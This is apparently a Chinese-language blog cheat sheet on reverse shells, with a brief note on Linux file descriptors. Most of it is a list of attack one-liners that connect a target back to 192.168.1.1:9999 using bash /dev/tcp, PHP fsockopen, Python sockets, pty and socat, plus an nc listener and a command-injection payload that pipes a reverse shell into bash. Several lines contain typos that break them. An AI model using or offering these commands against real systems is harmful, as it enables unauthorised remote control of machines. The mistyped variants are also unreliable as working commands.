反弹shell

反弹 shell的几种方式

linux文件描述符:linux shell下有三种标准的文件描述符,分别如下:

文件描述符 缩写 描述
0 STDIN   标准输入
1 STDOUT 标准输出
2 STDERR 标准错误输出


bash反弹 shell

靶机:

bash -I >&/dev/tcp/192.168.1.1/9999 0>&1


攻击机:

nc -nvlp 9999


命令注入直接获取一个shell

127.0.0.1&echo 'bash -i >&/dev/tcp/192.168.1.1,9999 0>&1' | bash


调用python直接获取交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'


使用php建立 socket会话:
 

正向连接:

php -r '$sock=fsockopen("192.168.1.1",9999);exec("/bin/bash -i <&3 >&3 2>&3");'


反向连接:

php -r '$sock=fsockopen("192.168.1.1",9999);exec("/bin/bash -i 0>&3 1>&3 2>&3");'


python建立socket会话

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.1",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


获取一个 交互式的 shell

Python -c 'import pty;pty spawn("/bin/bash")'


socat建立连接

socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:"192.168.1.1",9999


 

上一篇:Linux初学者:安装anaconda添加环境变量时source错误


下一篇:ssh连接超时时间(ssh timeout)的设置方法